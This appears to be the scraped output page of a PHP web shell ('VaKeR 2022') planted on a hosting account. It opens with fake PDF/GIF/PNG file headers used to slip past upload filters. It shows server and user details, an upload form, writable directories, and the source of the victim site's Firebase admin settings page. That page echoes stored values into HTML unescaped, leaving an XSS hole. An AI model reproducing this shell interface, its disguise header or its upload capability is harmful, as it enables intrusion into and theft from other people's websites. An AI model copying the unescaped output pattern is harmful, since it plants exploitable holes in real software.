%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/admin/firebase-settings.php
<?php
include('header.php');
include('../dbcon.php');

/* SAVE DATA */
if(isset($_POST['submit']))
{
    $project_id = mysqli_real_escape_string($conn,$_POST['project_id']);
    $messaging_sender_id = mysqli_real_escape_string($conn,$_POST['messaging_sender_id']);
    $service_account_json = mysqli_real_escape_string($conn,$_POST['service_account_json']);
    $status = isset($_POST['status']) ? 1 : 0;

    $check = mysqli_query($conn,"SELECT * FROM firebase_settings LIMIT 1");

    if(mysqli_num_rows($check)>0)
    {
        $row = mysqli_fetch_assoc($check);

        $qry = "UPDATE firebase_settings SET
                project_id='$project_id',
                messaging_sender_id='$messaging_sender_id',
                service_account_json='$service_account_json',
                status='$status'
                WHERE id='".$row['id']."'";
    }
    else
    {
        $qry = "INSERT INTO firebase_settings
                (project_id,messaging_sender_id,service_account_json,status)
                VALUES
                ('$project_id','$messaging_sender_id','$service_account_json','$status')";
    }

    $run = mysqli_query($conn,$qry);

    if($run)
    {
        echo "<script>alert('Firebase Settings Updated Successfully');window.location='firebase-settings.php';</script>";
        exit;
    }
}

/* FETCH DATA */
$firebase = [];

$get = mysqli_query($conn,"SELECT * FROM firebase_settings LIMIT 1");

if(mysqli_num_rows($get)>0)
{
    $firebase = mysqli_fetch_assoc($get);
}
?>

<div class="container">
    <div class="title">Firebase Configuration</div>

    <form action="" method="post">

        <div class="form-group">
            <label>Project ID</label>
            <input type="text"
                   name="project_id"
                   class="form-control"
                   value="<?php echo isset($firebase['project_id']) ? $firebase['project_id'] : ''; ?>">
        </div>

        <br>

        <div class="form-group">
            <label>Messaging Sender ID</label>
            <input type="text"
                   name="messaging_sender_id"
                   class="form-control"
                   value="<?php echo isset($firebase['messaging_sender_id']) ? $firebase['messaging_sender_id'] : ''; ?>">
        </div>

        <br>

        <div class="form-group">
            <label>Service Account JSON</label>

            <textarea
                name="service_account_json"
                rows="15"
                class="form-control"><?php echo isset($firebase['service_account_json']) ? $firebase['service_account_json'] : ''; ?></textarea>
        </div>

        <br>

        <div class="form-group">
            <label>
                <input type="checkbox"
                       name="status"
                       value="1"
                       <?php echo (isset($firebase['status']) && $firebase['status']==1) ? 'checked' : ''; ?>>
                Active
            </label>
        </div>

        <br>

        <?php if(!empty($firebase['created_at'])) { ?>
            <p>
                <strong>Created:</strong>
                <?php echo $firebase['created_at']; ?>
            </p>
        <?php } ?>

        <?php if(!empty($firebase['updated_at'])) { ?>
            <p>
                <strong>Last Updated:</strong>
                <?php echo $firebase['updated_at']; ?>
            </p>
        <?php } ?>

        <div class="button">
            <input type="submit" name="submit" value="Save Settings">
        </div>

    </form>
</div>

<?php include('footer.php'); ?>

VaKeR 2022